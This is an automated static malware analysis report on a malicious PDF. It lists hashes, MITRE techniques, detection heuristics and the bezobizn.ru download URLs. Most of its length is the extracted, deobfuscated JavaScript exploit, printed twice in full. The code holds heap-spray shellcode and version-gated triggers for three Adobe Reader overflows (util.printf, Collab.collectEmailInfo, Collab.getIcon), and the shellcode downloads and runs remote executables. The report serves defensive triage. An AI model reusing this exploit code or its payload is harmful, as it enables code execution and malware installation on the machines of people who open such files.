Malicious PDF — malware analysis report

Static analysis result for SHA-256 7873c68de4fd18b0…

MALICIOUS

PDF

7.9 KB Created: 2009-09-22 19:46:33 Authoring application: Eblasha 4.5.10.1 (via PDF Library 2.1.4.2) First seen: 2015-09-16
MD5: 4628cc0e13ec57d40726c415860c3b71 SHA-1: 07e87e5bd4756294d01fbba8809c4960b3300c40 SHA-256: 7873c68de4fd18b022d0a10478f0624e18c04d60d39eed9fa366767a496e391b
546 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains JavaScript that exploits multiple known Adobe Reader vulnerabilities, including CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The deobfuscated JavaScript clearly indicates an intent to download and execute a second-stage payload from the URLs provided. The embedded URLs are bezobizn.ru/bir3.exe, bezobizn.ru/aijkmntwy3.exe, and bezobizn.ru/bfmopqu3.exe.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 13

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    for (var bdhj=0, crv='';bdhj<5274;bdhj++){crv += String.fromCharCode(fra[bdhj]-'aFGHJmN'.substring(bdhj%'aFGHJmN'.length,bdhj%'aFGHJmN'.length+1).charCodeAt(0));}eval(crv);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • ASCII85Decode filter (with exploit indicators) low PDF_FILTER_85
    ASCII85 encoding filter present alongside exploit delivery indicators — uncommon outside of obfuscation
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://bezobizn.ru/bir3.exe Referenced by PDF JavaScript
    • http://bezobizn.ru/aijkmntwy3.exeReferenced by PDF JavaScript
    • http://bezobizn.ru/bfmopqu3.exeReferenced by PDF JavaScript

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_000.js pdf-javascript-stream PDF /JS object 13 at offset 0x36B 21096 bytes
SHA-256: da70c09e38b74c776673bacb83f504576dfc42cac4c57ef9584adb5c0c1aaa91
Preview script
First 1,000 lines of the extracted script
var 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javascript_obj0015_001.js pdf-javascript-stream PDF /JS object 15 at offset 0x1B7C 172 bytes
SHA-256: fe5213ad03acbd5122b7dc2585888cb51b35ecdb2036bf88456ca088f688f245
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
for (var bdhj=0, crv='';bdhj<5274;bdhj++){crv += String.fromCharCode(fra[bdhj]-'aFGHJmN'.substring(bdhj%'aFGHJmN'.length,bdhj%'aFGHJmN'.length+1).charCodeAt(0));}eval(crv);
generic_stage_recovery_000.js deobfuscated-js generic stage recovery numeric-array-minus-key from combined JavaScript objects at offset 0x36B 5274 bytes
SHA-256: 33ffa1d66c385d45b58b582be0a051b53ec298d56a286392a3968e347954d960
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}
yarsp=yarsp.substring(0,len/2);return yarsp;}
function util_printf(){var payload=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u622F%u7A65%u626F%u7A69%u2E6E%u7572%u622F%u7269%u2E33%u7865%u0065");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);}
function collab_email(){var shellcode=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u622F%u7A65%u626F%u7A69%u2E6E%u7572%u612F%u6A69%u6D6B%u746E%u7977%u2E33%u7865%u0065");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u622F%u7A65%u626F%u7A69%u2E6E%u7572%u622F%u6D66%u706F%u7571%u2E33%u7865%u0065");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
function pdf_start(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}
if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}
if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}}
pdf_start();
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from combined JavaScript objects at offset 0x36B 5270 bytes
SHA-256: 459ce4895da9312c73a17f1008dc4a73b96d7d6258815fbc30d36fce67452542
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}
yarsp=yarsp.substring(0,len/2);return yarsp;}
function util_printf(){var payload=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u622F%u7A65%u626F%u7A69%u2E6E%u7572%u622F%u7269%u2E33%u7865%u0065");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f",num);}
function collab_email(){var shellcode=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u622F%u7A65%u626F%u7A69%u2E6E%u7572%u612F%u6A69%u6D6B%u746E%u7977%u2E33%u7865%u0065");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u622F%u7A65%u626F%u7A69%u2E6E%u7572%u622F%u6D66%u706F%u7571%u2E33%u7865%u0065");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}
var tUMhNbGw=unescape("	");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
function pdf_start(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}
if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}
if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}}
pdf_start();